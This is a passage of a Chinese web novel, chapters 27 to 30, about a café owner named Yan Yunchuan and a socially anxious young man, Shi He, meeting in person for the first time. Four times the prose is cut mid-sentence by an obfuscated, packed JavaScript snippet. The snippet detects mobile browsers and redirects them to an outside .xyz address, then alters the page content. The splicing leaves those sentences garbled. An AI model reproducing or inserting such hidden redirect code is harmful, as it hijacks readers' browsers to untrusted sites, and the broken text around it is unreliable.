BDZs类的阻滞剂见效很快,半小时后,身体的不适感开始慢慢消失,等价换来的是头晕和迟钝。迟钝感剥夺了思考能力,回到房间,他站在床头望着抽屉,总感觉有什么事被遗忘了。 ** 夏天日出来得早,不到六点就见天光初绽。星络网吧,一男生趿拉着拖鞋走到收银台,纳闷指向走廊尽头:“老板,单人包间怎么锁了?” “不好意思,朋友预定了。” “还能这样?这让我怎么玩!” “两个双人包是空的,看看可以——” “不行!我社恐!排位赛呢!跟别人待一起影响发挥!”男生闻“双”色变,眼睛嘴巴恨不得拢成一团。他搭着收银台眉来眼去套近乎,“老板,你看我照顾这么久生意了,反正你朋友还没来,先让我上会呗!就上两小时,很快!” 宴云川滴着这位“熟客”的身份证,发现消费记录不过寥寥一百,其中五十还是充值赠送。所谓照顾久,也只不过是来的次数多且短。他看向时间,五点四十七,距离约定的时间恰好还有两个钟。 虽然时间够,但保不齐会有意外,而且,依时和的性格他应该会提前来。看了看上座率,又看向门外人流,宴云川折回目光说:“实在不好意思,空不了。你看这样,你开个双人包,我给你挂两小时暂停牌。”说着他顺手从货架上拿过一罐可乐递过去,“一点歉意,预祝你排位顺利。” 红色的可乐罐儿直愣愣立在桌上,像种诱惑。男生看着罐儿抖腿,眉头皱来皱去。抖到小腿都快练出肌肉他才说:“这样也行吧。反正没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546532|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人就行!” “感谢理解。” 开好卡,时间已经跳了个整。俞秋推开门正好看见一个手持可乐花枝乱颤的背影。搁在以往她高低得关怀两句,可今日,她只是瞥了一下,马上急哄哄走到收银台,包都没放指着门外就说:“老板!咱网吧估计给贼盯上了!有个鬼鬼祟祟的人一直望着咱网吧!我观察了三分钟!他望了至少八次!” 俞秋声音激动得收不住,好在分贝不大,没有把大厅那些个休眠的过夜猹吵醒。宴云川停下找暂停牌的动作抬头问:“来过吗?” 俞秋想了想:“看身板没有。” “男的女的?” “男的,”她来回比划了三个身高,“大概到这。大热天的穿个衬衫裹的严严实实还扎了个领带!搞得我开始以为是哪个店来了新店长!” 激动说完,俞秋喘气的功夫发现宴云川表情若有所思,甚至眼尾还有些无端的兴味。 “我出去看看。”宴云川起身。 她跟上去,走到门口,顺手指着右前方三棵树的方向:“就在那——”树下,环卫工人在清扫着落叶,“人呢?刚刚还在的!” 这一嗓子吼破了音,惹得环卫工人抬头看了一眼。俞秋讪讪,双手合十做了个道歉状,回头对着宴云川说:“老板!我绝对没有看错的!肯定——” 证词说到一半,宴云川应着:“我知道。” “知道就好——呐。”意识到自己在口出什么狂言,俞秋呸呸两声,讪讪走上阶梯。 “老板,您知道是谁啊?” “大概猜到。” “是谁?” “等我确认一下。” 说话间,宴云川点开微信。 [川云:吃早餐了吗?] 消息发出去,他抬头看向街道。星络网吧在一栋老式居民楼一层,左临理发店右靠小商超,这个点都不是它们的营业时间,街道百米冷冷清清,只有百米外的早餐店能零星看见几人,穿着正常。 也不知道躲哪儿去了,跟个松鼠似的。 刚想着,松鼠来了消息。 [时和:嗯。] 俞秋还在念叨“怎么跑这么快”,猝然听见身旁一声莞尔。她看过去,看见宴云川眼尾的兴味不知道怎么的就转移到了嘴角。 “老板——” “想吃什么早餐?” 两人同时开口,俞秋反应慢了半拍,后半句话被早餐截获,脱口而出:“给我来份红油粉!”疑问句一下变成了命令式陈述句,她捂着悲壮的脸望天,想找个5A名胜区把自己埋了。 宴云川笑了笑:“你先进去吧,我去买早餐。” 俞秋顿地放下手,脸上的赫然转成纳闷。 “老板,人不找了吗?” “已经找到了。” 微信静静躺着刚发出去的消息:[我在门口,陪我吃个早餐可以吗?] 消息荣幸得到四条回复。 [时和:!] [时和:我] [时和:。 ] [时和:……] 27. Chapter·二胎 一家建材店门口,时和躲在墙边七手八脚地摆弄衣服,一下把衬衫袖扣拆了重新扣上,一下又拨动浅绿色条纹领带的位置。领带贴着衣领边儿已经融成一个图层了,可他总觉得哪哪都不对劲。 药物副作用和“背叛宴云川”的恐惧让他整晚没睡,又困又害怕的紧绷感在熬夜的生物反应下变成了飘飘然的亢奋,像发烧一样。 正摆弄着帽檐,几步外响起一声:“时和。” 听见声音,时和的手比脑子更快地垂落下去,假装自然转身,抬手,念出那个早已经演练一百遍的开场白:“你好,宴云川——” 三米之外,宴云川一袭白T,站在榕树下光影错落,自成一景。演练好的开场白好像忽然被格式化了,剩下半句“初次见面,这是我准备的见面礼,还望不嫌弃”成功卡了壳,从此一去不复返。 看着时和帽檐下直愣愣的目光,宴云川兴味地挑了挑眉。印象里,药店的背影穿着宽松卫衣,帽一遮,匆匆一瞥还以为是哪家跑出来的中二少年。真人倒是一点也不中二,有点冷,也比想象中的胆大。 克莱因蓝的纸袋悬在房檐阴影之下,正想缩回去,宴云川抬手接下:“准备了礼物吗?” 纸袋绳索两指交叠。 感受到尾指的冰凉,时和瞬间松开手,看着纸袋往下落又被宴云川勾住,他强撑的镇定和药物的亢奋瞬间化成了紧张,心脏好像要从嗓子眼跳出来了。 按照排练好的正常剧情,这会他应该给宴云川介绍礼物的内容。可他只是僵硬地说了句:“纽埃银币。” 刚说完,宴云川自然接上:“纪念币?” 时和诧异地抬头。 纽埃银币是纪念币的一种,濯清从新西兰带回来的。濯清每次去一个国家出差就会带当地的纪念币回来,渐渐地他也染上了收藏纪念币的爱好。爱好很小众,没想到宴云川知道。 难道宴云川也收集纪念币吗? 仿佛看穿了他的心思,想法刚上来,宴云川就笑着说:“我不收集,不过之前想做相关方向的游戏项目,所以做了功课。”他垂眸看了眼纸袋。自家徒弟会送礼物在他的意料之中,可是送纪念币在他的意料之外。 很少会有人送纪念币做礼物,因为太珍贵。无论是纪念币本身的价值还是收藏价值,都很珍贵。因为珍贵,所以更加珍重。 宴云川把纸袋拎了拎,很认真地说了句:“礼物很特别,谢谢。” ** 接下来的时间,时和都处于一种“礼物被认可”的欢欣之中。粉店离建材店不过百米,走两步就到。时间还早,店里客人屈指可数。他站在门外,听着宴云川在店里点餐,口罩下的嘴角怎么也忍不住,连带给濯清汇报的语气都变得愉悦起来。 [时和:妈,有人来接我了。] [妈:沈停起这么早?] [时和:不是,是宴云川。] 微信那头出现“正在输入中”又消失。时和以为濯清又要对宴云川开始设防拷问,手指不自觉蜷了一下。而后,他就看见濯清发来一段长达三分钟的语音。 点开语音,濯清说:“我下午问沈停了,宴云川是那家网吧的老板。的确是榕大的,毕业就接管了这家网吧,也算创业型人才,只是这方向我觉得可以优化一下。游戏专业刚毕业想通过网吧创业无可厚非,网吧梦嘛。但是网吧毕竟是夕阳产业,现在谁家没有一台电脑?我更建议他成立一个独立游戏工作室,聚焦小众市场,比如——” 语音发到这戛然而止,又接上一段新的:“瞧我这毛病,不说了不说了。宝贝,你想跟他交朋友……也可以,但是得留个心眼,时时刻刻给妈妈汇报进度,知道吗?” 濯清自从接手酒店,职业病一年比一年严重,见到有潜力的人才就像指点一二,要是遇上适合酒店的人恨不得三顾茅庐都得挖来。不过时和没想到宴云川是网吧老板…… 之前听帮派的人总叫他“川老板”,还以为是像“这个爹那个妈”、“这个佬那个神”一样的浑称,原来是个正经称呼。 正想着正经不正经,身后声音走上前:“打包好了,走吧。”他手一抖,“留个心眼”的语音不经阻拦地就放了出来。完完整整,一字不落。 所有的情绪在这一刻都被收束成了尴尬,尴尬到了极致,大脑便不受控制。时和脱口而出“对不起”,下意识就要转身逃离现场。刚迈出步子,胳膊被力道勾住。 身后传来浅浅一声笑。时和绷着身子不敢回头,直到宴云川说:“看来得到朋友认可证了,挺不错。” 他一路走得宛若阅兵。 ** 阅兵仪式终结在网吧门口,时和脚步停下来,那点欢欣也被玻璃透进去的黑暗淹没,所有的排练和心理建设都在一望无际的玻璃门前骤然崩塌,只剩慌乱。 网吧到底是聚众场合,说能适应肯定是假的。这半年来,他去过人群最多的地方就是医院,交谈最多的只有心理医生。他对网吧的记忆还停留在几年前,乌烟瘴气,鬼哭狼嚎,幽森得如同聚众赌博,两步之内必有“卧槽”和“你妈”这对CP,这会隔着玻璃都感受到了压抑。 宴云川站在阶梯半步的地方停下,目光掠过时和指尖的颤抖蹙眉。不光指尖颤抖,口罩也跟着呼吸开始剧烈起伏,两眼变得涣散。这状态他在心理医院见到过,在那些有躯体化的患者身上。 可时和怎么会有躯体化症状?没听沈停提过。 他迟疑着搭上时和肩膀,感受到身下人的后退,又强行扣住肩膀打了个响指:“我忘给阿朔他们买早餐了。” 利落的响指如冰锥刺破蒙着雾气的玻璃,时和整个人从混沌中惊醒。意识到自己刚才的状态,他心慌地望向宴云川,怕宴云川发现自己的病。 可宴云川只是自然上阶梯,又自然回头说:“我送个早餐,等我一下,很快。” 网吧门开上又合上,透过玻璃依稀可以看见一个穿直筒裤的身影走到宴云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546533|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川跟前,又跟着宴云川一块离开。 时和站在网吧门口,脑海里不断复盘刚才的一帧一秒。明明出门前吃药了,昨晚也做好了预演,怎么临门一脚会出现恐慌发作?也不知道宴云川有没有发现异常…… 应该没有……如果发现了怎么还会带他去买早餐?如果发现了,应该像舍友一样,让他赶紧回家“养病”,不要成为累赘才对…… 刚这么想,宴云川推门出来。一个女生跟在他身后悄悄往外探了探,看见时和扬起了八颗牙的微笑,跟宴云川打了个送别的招呼就钻进了玻璃门里。 “俞秋,这儿的网管。”宴云川隔着玻璃介绍着。 时和点点头。秋儿,宴云川和沈、和林朔野在语音里经常提起。他从剩下三个袋子里拿出一个,刚想递给宴云川,又顿了一下。见面礼好像不能代传,不礼貌。 瞥见时和的动作,宴云川给俞秋发了条微信。 不稍半秒,玻璃门立马打开,俞秋探出个脑袋:“老板,还有什么吩咐?” 时和被这一套大变活人的流程惊呆了,在宴云川的提醒下机械地把纸袋递过去。然后,俞秋也惊呆了。 俞秋拿着纸袋看向宴云川,似乎在询问该不该收。看见宴云川点头她才把纸袋揣进怀里,对着时和眼中带泪,险些泪洒网吧:“你人真好!刚才竟然把你当成小——” 说到关键部分,宴云川插了一句:“秋儿。” 俞秋带着鼻音“嗯”一声。 宴云川下巴朝大门点了点:“有客人。” 等人离开,时和一直处于“热情后遗症”的发懵阶段。走去早餐店的路上他听见宴云川解释:“秋儿很少收到礼物,所以有点激动。”发懵地“嗯”了一下。 “很少是多少?” “只有生日和过年会得到礼物。” “这么少……” “嗯,她今天很开心。” “我下次来再——” 懵到一半,时和终于清醒了。他隐约觉得有道探究的目光落在自己身上,转过头,又看见宴云川正一脸坦然地看向前方,仿佛刚才感受到的眼神都是错觉。 自知多言,时和捏紧了纸袋。刚想道歉,宴云川突然开了新的话题:“四只妖灵宝宝繁育好了,赢鱼和重明鸟是稀有。可能系统怕影响轰动,只给了一半概率。” 话题跳跃太快,时和滞缓地“嗯”了声。 宴云川又说:“剩下两只等会再繁育一次。” 他一脚踩空了两个格子。 剩下的一路,时和满脑子都是“二胎”和“独生”,以至于再次走到网吧门口他没怎么留意就跟着宴云川走进去了。 一进去,就听见沈停疲惫开嗓:“我昨晚被我阿姨人口普查到半夜,交代了一晚上‘要顾好小和安全’、‘要把小和送回家’、‘如果小和有哪里不舒服就给她打电话’……搞得我后半夜做噩梦!这孩子你们谁爱带谁带吧,再这样下去我宁愿打包回苍城!” 28. Chapter·疑惑 清晨的网吧太过安静,简单的音调也能荡出回音,时和站在门后阴影里,透着玻璃看着前台。中央空调出风口呜呜作响,像是上了年纪。他数着声音,指尖陷进尼龙抽绳里。 类似的话半年前经常听见: “跟他走这么近?小心他妈妈把你电话打爆!” “怎么,我犯贱吗我要做他保镖?” “他就是个累赘!” … 累赘、累赘、累赘! 半年前他就像现在一样,站在原地,看着所有人从身旁绕过,受着各种各样打量的眼神,好像无坚不摧,实际千疮百孔。直到晕倒,休学。 可他现在吃了药,不会晕倒了。不会晕倒,只能眼睁睁看着沈停猛地起身,被一个陌生面孔虚锤了一拳,又看着俞秋被椅子绊着,推开陌生面孔走过来。俞秋唇瓣开开合合,却没有声音。像一场无声的黑白电影。 她走近时,时和不自觉后退半步。倏地,脖子撞到一抹冰凉。凉感沿着颈椎骨一路往下,刺的尾椎绷紧。 左侧余光投来半片阴影,阴影说:“想回苍城我可以帮你打包行李。如果不回……就好好带。” “我就嘴上一瓢。”自知理亏,沈停搭了搭后脑勺,扭头躲着宴云川的目光。可惜目光太灼热,他还是转了回来,“行行,我好好带。学长你可别看我了,我发毛。” 脖颈冰凉的触感被体温过得灼热,发梢贴着皮肤微微发痒。时和思绪回笼,意识到脖颈搭着的是宴云川的手,整个人僵成了一座石雕。突然,脖子上的手离开了。 没了温度,空调的温差让他抖了两抖。他下意识侧目寻找宴云川。看见宴云川两手自然揣进兜里,站在身侧没有离开的意思,又安心地把目光放回地面。 前台一亩三分之地从没有一刻这么拥挤,五个人让空气都变得稀薄。直到林朔野嘻哈上前粉饰太平。 林朔野自来熟地伸出手:“宝贝儿!终于见面啦!我是尹川,能听出我的声音吗?” 时和又攥紧了纸袋,点点头。 这声音太好认了,人也跟想象中的形象一模一样,一样的跳脱,一样的热情。他迟疑着把纸袋递出去,开场白都没说出来,纸袋夹着一声“哇塞”被接走。 “我去?!Switch限定版手柄!” 听见声音,宴云川讶异看过去。恰好俞秋说:“我的是一副降噪耳机!”他又看向时和。 原来每个人的礼物不一样吗?为什么他是纪念币? 宴云川想问,就见林朔野直接上前给时和来了个“好兄弟”的拥抱,嘴里念念有词:“爸爸!以后有我一口饭吃肯定有你一口肉!我哥要是负了你你就跟我说!我保准帮你薅他一笔抚养费!包不带心疼的!” 他扶了扶后仰的时和,又挑眉调出微信:“再说一次。” 林朔野还处于兴奋冲昏头脑的阶段,张口就喊了一声“爸”。好在他没完全昏,瞥见微信备注“姑父”,舌头及时转向,“爸!你该给我生活费了!” 说着,身后走来一道声音:“傻逼。” 沈停走到时和面前站定:“刚才,抱歉啊。”说得很随性,也没有任何的不耐烦和鄙夷,只有略微的不自然。 比沈停更不自然的是时和。 时和僵在原地。 无论是网吧还是面前错落站着的三个人,对于他来说都太过于陌生。明明半个月前他还在心理医院接受暴露治疗,现在竟然在网吧被左右夹击,前拥后抱。太奇怪了。 僵持之际,网吧玻璃门被推开。两个客人开门,看见门口四方鼎立的架势吓得立马关上了门。玻璃门透出两个抬头观望的影子,似乎在判断自己有没有走错路。 “行了,别站在这里当猴了。”宴云川往门外看了一眼,通宵的疲惫和这一连串的热闹让他头疼加剧。他捏着眉心,缓和稍许又对时和说:“我们先去包厢。” 时和品了品“我们”这个词,点头跟上去。 身后,沈停难以置信的声音一路从收银台响到走廊尾:“这合理吗!见面他也不认识我?” 声音杂糅着林朔野毫无诚意的安抚:“你活该!” ** 单人包厢狭窄逼仄,饶是整理的再干净,进门铺面来的压抑感依旧存在。时和贴在墙边,看着宴云川在他半臂距离调试设备有点喘不上气,但不是发病。更像是空气被掠夺的窒息。 他悄悄往门边挪,突然听见宴云川问:“鼠标习惯快一点还是慢一点?”脚下趔趄,险些踩到自己。 电脑前响起一声轻笑。 时和佯装淡定:“快一点。” “我猜也是。” “……” “键盘快捷键有特殊要求吗?” “没。” “耳机音量呢?” “小点声。” “嗯。” 宴云川把耳机放在耳边测试声音,耳机线从他锁骨处下坠,搭载腕间。电脑光影沿着鼻翼一路向下,所有构图恰到好处,眨眼的每一帧都像摄影作品。时和不自觉舔了舔牙。 如果时熵在,肯定会约宴云川做模特。 也不知道时熵现在在哪…… 想到时熵,时和出了会神。正想着巴黎还是纽约,思绪被椅子摩擦地板的呲拉声打断。他眨了眨眼,听见宴云川说:“好了,你试试。” 电脑已经点开了幻世录的界面,耳机线也整理成了一圈放在桌面,鼠标和键盘平行,桌边还有一罐提前准备好的可乐。 网吧来的每一个客人都能得到这样的服务吗? 时和代入了一下刚才进店的客人坐在椅子上,宴云川站在身后扶着椅子的场面,他帽檐下的眼睛闪过不满,一瞬消失,连他自己都没察觉情绪从何而来。 坐下后,宴云川说:“找我可以发语音,或者可以点这儿,”他弯下腰,隔着椅子操控鼠标。鼠标挪到桌面右上角,有一个网吧服务,“这里,可以呼叫网管。我在前台可以听见。” 空气一下被压缩了,窒息感再次涌上大脑。时和腿肚绷紧,魂不附体地胡乱应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546534|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。等到桌上的阴影消失时,他感觉小腿有点抽筋,还有点胃疼。 阴影离开椅子,却没有出门的意思。 不到三平米的包厢目光不管往哪放都能在余光里看见彼此。时和放在膝上的手狠狠捏紧,倏地听见身后的人问:“为什么——” 问到一半,包厢门被敲响。林朔野探了个脑袋进来:“哥,柚子让我们帮忙录个素……材。”他提溜着眼睛在两人身上开会转了三圈,“我是不是打扰到你们师徒培养感情了?” “……” 时和耳垂又烧起来了。 帽子和口罩虽能挡住大半张脸,可是挡不住耳垂的红晕,尤其在屏幕光的照射下更是无所遁形。宴云川一眼看见,他转身捞着林朔野往外走,边走边说:“下次用不好语文就说英语。” 声音慢慢被包厢门隔断。等声音彻底消失,时和瞬间松懈,捂着胃瘫在椅背上。下一秒,离开的人又折返回来,让他来不及端直。 宴云川推开门,看见时和半放松半紧张地贴着椅子不禁失笑,然后瞥见放在胃部的手,又走上前把桌上的可乐拿走,说道:“前台有胃药和温水。” 不是胃病。时和在心里说:“只是神经太紧张引起的胃疼,过一下就好了。”解释的话说不出口,最终变成两个字:“温水。” “好。” 门关上,没过三分钟又打开。一来一回,等人再次离开的时候,时和后背沁了一身地汗。 ** 走出包厢,宴云川脚步顿了顿,转向走去斜对面的双人包间。 一早上有好几个疑问悬在心头:为什么要送他纪念币、为什么时和会有躯体化现象、为什么时和好像很害怕网吧。第一个问题错过了机会,他只能找人问后面两个。 “沈停。”宴云川走进门喊了声。 沈停正在给柚子出谋划策:“既然主题是‘你眼中的世界‘,那就拍风景呗。长安拍到九绡宫,拍足每一个风景打卡地。”他带着耳机,听不见宴云川的声音。 耳机里传来柚子嫌弃的语气:“太没创意了吧!我说你好歹也是游戏系高材生,属于理科生的浪漫呢?” 沈停笑了笑:“理科生哪来的浪漫?我们只有推导。你让我给创意方案不行,让我给你编程很OK。” 语音连的YY,林朔野也能听见。听着沈停一本正经地诋毁理科生,他赶紧开麦为自己正名:“别听这傻逼瞎说!我可是分分钟能用Python画像素爱心的理科生!” 语音里传来几声嫌弃的“咦惹”。 单身感叹:“川儿,你跟被窝有什么区别?都俗!” 清絮应声说:“各有各的俗。” “我——”林朔野还想蹦一些别的不俗的方案,突然,耳机被敲了一下。他回头,看见宴云川指了指沈停,恍然地摘下了沈停的耳机。 “你干——”沈停刚想爆两声粗,回头看见宴云川,惊讶招呼了一句:“学长?” 宴云川朝门外看了眼:“有点事想问你,方便吗?” 29. Chapter·休学 网吧门口一棵榕树下,沈停随意坐在共享小黄车上。他从兜里找出烟,摸索着打火机,想起来火机放在书包,又抬头看向宴云川:“学长,带火机吗?” “喏。”宴云川掏出打火机递过去。 火机刺啦一声,烟雾顺着朝阳直升而上,消失在榕树须条之中。沈停吐纳两下,开玩笑道:“不抽烟但是随身带火机。学长,渣男都爱用你这人设。他们管这叫撩妹神器。打火机一掏,故事感就来了。” 看来林朔野平日的骚话多半是这位舍友亲传。宴云川笑了笑:“你现在是什么人设?叛逆晚期?” 沈停老神在在摇头,吐着烟雾说:“我这是学到脑袋掉只能靠尼古丁麻痹自己的苦逼期末大学生。” 苦逼大学生抽了一截烟,看见宴云川似笑非笑地眼神又说回正题:“学长,你刚才说有事问我,想问什么?” 宴云川倚着树干:“我记得你之前提过,你阿姨的儿子休学在家。” “是啊,休学有一阵了。怎么了学长?” “知道为什么休学么?” “这……” 沈停咬着烟,纳闷地瞥了瞥宴云川。 以往提到时和,宴云川都是一脸“别人的事跟我无关”的淡然样,今天怎么破天荒主动问起时和了?还专程把他单独拉出来问?不过可惜了,如果是别的问题他还能好好说道说道,偏偏是休学。 他两手抱在胸前耸耸肩:“我也不清楚。我爸妈跟我阿姨的交情不算深,她常年出差,我们一年见不上两面。休学这件事还是我表叔家庭聚餐聊到我才知道的。” 如果不是顾泽宸拿幻世录搭桥,濯清日理万机估计都想不到他这号人。啧,偏偏有了个桥,多此一举。 小黄车上的人惋惜太过明显,恨不得吐出的烟雾都写上“拉胯”两个字。宴云川忍住想把他烟掐了的心,问道:“你表叔提到休学的时候没说别的?” “好像没吧……”沈停认真回想了一下,“他就提了一嘴,说濯总家的小孩休学了,濯总最近两头跑经常头疼什么的……然后问我妈要了点偏方。我只记得这么多。这种饭局我都是玩手机的。不过我阿姨家——”太久不叫名字,他舌头饶了一下,“时和。他休不休学都不影响,我叔说他大学的课程高中就学完了,可以直接跟我阿姨做事。况且他就算什么都不读,也能继承家业。” “酒店?” “对。” 还真是个少爷。也难怪往包厢一坐,充满着格格不入。像是把一朵云强行塞进泥里。 树下没了声音。沈停继续吞云吐雾,打量着不知道在想什么的宴云川。刚想问“需不需要他帮忙打听打听”,路边飞驰而过一辆鬼火少年,把车开出了跟黑白无常赛跑的架势,给沈停整的险些把烟弄掉。他顺着发动机声音的方向吹了个哨,又看见马路斜对面一家卸了招牌的店。 “那家店怎么又倒闭了?不是才开两月么?” “嗯?” 沈停用烟指了指。 宴云川看了眼:“上周就倒闭了。开业吃过一回,味道不错,只是定价和定位没把控好。之前依赖开业酬宾的折扣吸引了一波客流,活动结束后又没有及时调整留存策略,留不住客,倒闭很正常。” 他说完,沈停“啧啧”两声,笑道:“学长,我都快看不出你是游戏开发专业的了。” “游戏开发也要紧抓市场。” “我就不抓,我学这个只想为爱发电。我做的游戏不需要市场喜欢,我只做自己想做的!”小黄车上的沈停眉头上扬,抬手拍过头顶榕须,意气风发。 榕树枝条猛烈晃动着,宴云川淡淡地笑了一下。 一帆风顺的人永远怀揣梦想,没被现实毒打,就不知道远山之外环绕深渊,不知道人生充满了意外,不知道随便一个意外拎出来都能让梦想断电。 离开榕树干,宴云川说:“走吧,梦想家。” “最后两口。” 两口过后,沈停把烟投进垃圾桶。两人折返时,看见一个穿着碎花衬衫的阿姨,拿着保温盒站在网吧边上往里面探望,脚步踌躇,似乎在找人。 宴云川走上去,门口的人吓了一跳,手握着拳放在胸口上,眼神飘忽地一下看地板,一下看不远处的路。 “阿姨,您是……?”宴云川问道。 “……”门口的人不说话。 “您要进去吗?” 她摇着头。听见沈停“啧”一声,她陡然举起手上的保温盒,嗫嚅开口:“小和……我找时和。” 沈停反应过来:“您是时和家的阿姨?” 听见时和的名字,张采纹知道自己找对了地方,顿时松了气:“小和妈妈让我给他送个早餐……”她迟疑地望着网吧,眼里充满抗拒。 老一辈人对网吧的印象都是“二五仔”、“不学无术”、“坏学生”聚集地,那时候谁家小孩去了网吧,回家都得毒打到整栋楼都听见。这样的眼神再正常不过。宴云川伸出手:“我帮您拿给他吧。” 两人进了门,张采纹还在门口观望。沈停回头看了一眼,揶揄着对宴云川说:“信我,学长。这准是来打探情报的,肯定下一秒就跟我阿姨汇报。” “网吧有什么情报好打听的。” “那可多,”沈停说,“光你的信息我阿姨都跟我打听了两小时。”见宴云川望过来,他两手搭在脑后开始卖关子,“说起来……学长,我昨晚可没少帮你打掩护。” 宴云川给了个眼神,沈停掰着手指说:“毕业拒绝了父母的帮助,靠积累的奖学金自主创业,独自撑起整个网吧,还不忘进阶学习。这人设满意吧?” “……”宴云川停下,指了指收银台边上的打假宣传,“你阿姨什么时候打315了跟我说一声。” ** 单人包厢内,时和开着电脑微信,一边用余光瞥着玻璃的方向,一边心不在焉地跟濯清打着视频。玻璃偶尔会有客人经过,每每看见脚步,他的心脏都得停跳两下,生怕会有人敲门或者隔着玻璃看他。哪怕玻璃是磨砂的还贴了广告纸,又哪怕门外挂了“请勿打扰”的指示牌。 见时和这么紧绷,濯清担忧都快溢出屏幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546535|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了:“宝贝,不能适应网吧就让沈停送你回家,下回妈妈约沈停去家里玩。医生说了,只要你愿意对外社交都是进步,可以循序渐进,咱不受罪,啊。” “妈,”时和说不出“我没事”。可是来都来了,如果到这里放弃,早上做的一切都没有意义了。而且,现在中止,宴云川准备的这些也没意义了。想到这,他压着声说:“我想再适应一下。” “妈,我想快点好起来。” 视频那头的濯清心疼的一塌糊涂。 现在这个时间是佛罗伦萨的凌晨。时和安抚着濯清,又劝着她去休息:“您明早不是还有会吗?” “妈妈不困——”濯清说着就打了个哈欠,这句“不困”的可信度瞬间降了大半。见时和直愣愣看着她,她叹了叹气,“你没到家,妈妈怎么睡得着?妈妈偶尔熬那么一天两天的没事,平时连着几个城市的跨也得这么熬,都是小问题,别担心。” “妈——” 时和还想劝两句,耳机响起叮咚一声响。视频里,濯清低头看了眼手机,莫名其妙来了句:“背影倒是一表人才……”他听的云里雾里。 正想问“什么背影”,门外响起宴云川敲门的声音:“方便进来吗?” 时和瞬间坐直了,连带着耳机线打到水杯,咚地响了一声。 听见声音,濯清张望两眼:“是沈停吗?” 时和小声说:“不是。” “宴云川?” “嗯。” 濯清来了兴趣:“开门看看。” 以往濯清见客,哪怕在跟他语音或者视频也会挂掉,濯清说这是对客人的尊重。时和完全没想到濯清会提这样的要求,整个人都愣住了。 他喊了声:“妈!” 濯清半开玩笑半认真地眯了眯眼:“怎么了,宝贝,妈妈是见不得人还是拿不出手啊?” 门外,宴云川靠在门边没再敲门。他给时和发了条微信,又等了一会,见微信没有回复,正想离开,门开了。 依旧是帽子口罩全副武装。宴云川嘴角勾了勾。 “在打游戏吗?”他问道。 时和摇摇头:“跟妈妈视频。” 恰在此时,濯清在视频里挥了挥手。宴云川这个角度正好能看见屏幕上的人。他目光落在屏幕上有些讶异,又看着时和:“需要跟伯母打个招呼么?” “……” “嗯。” 走进包厢,时和跟躲贼似的把门关了,又跟锅贴一样贴在墙边,紧张看着宴云川拔掉耳机线,对濯清自然地打着招呼,脸上始终带着得体的笑,没有任何不满。不光没有不满,濯清提的每一个问题宴云川都应对自如。无论是网吧经营还是查户口,他都照单全收,知无不言。 对答空挡,宴云川打开保温盒,把椅子往旁边挪了挪,转头对时和说:“阿姨带了早餐,坐这儿吃。” 视频里,濯清简单“嗯”了一下,嘴角肉眼可见地松弛,又继续往下问起来。 到最后,简单的招呼仿佛变成了一场面试。 时和看怔了。 30. Chapter·遇见 这场面试持续到时和吃完早餐。濯清又交代了两句,最后实在顶不住物理疲惫挂断视频。挂断前,宴云川说:“嗯,沈停会送时和回家。” 时和张张嘴,想说不需要,余光瞥见宴云川搭在扶手上的食指点了点,似乎在说:“别担心。”他把这句迟疑的拒绝连同一口馄饨一块咽了下去。 包厢安静的可以听见调羹搅动汤碗的声音。 警报解除,宴云川抬头,刚喊一个“你”,目光冷不防撞见了时和没拉口罩的半张侧脸。侧脸听见声儿转过来,双眸洇着朦胧红意,薄唇微张,无端生出几分破碎感。一刹那,药店仓惶的背影与这张脸无限重叠。 两人都愣了一下。时和迅速拉上了口罩。 “咳。”宴云川难得不自然。 “还要吃点儿吗?前台有零食。” “谢谢。”这是拒绝的意思。 桌上摆着小碗馄饨和喝到一半的牛奶。时和想收拾,可是不敢轻举妄动。他出门前其实吃了麦片,没想到濯清会让张采纹专程送早餐过来。这种在公共场合被特殊关照的感觉太奇怪了。就像上学的时候,因为濯清两句话班主任就叫他去职工餐厅吃饭一样。周围眼神落在自己身上,烧得灼热。 那是羡慕的眼神,也是对“关系户”的憎恶。 “对不起。”时和垂眸小声说着。 “嗯?” “……” 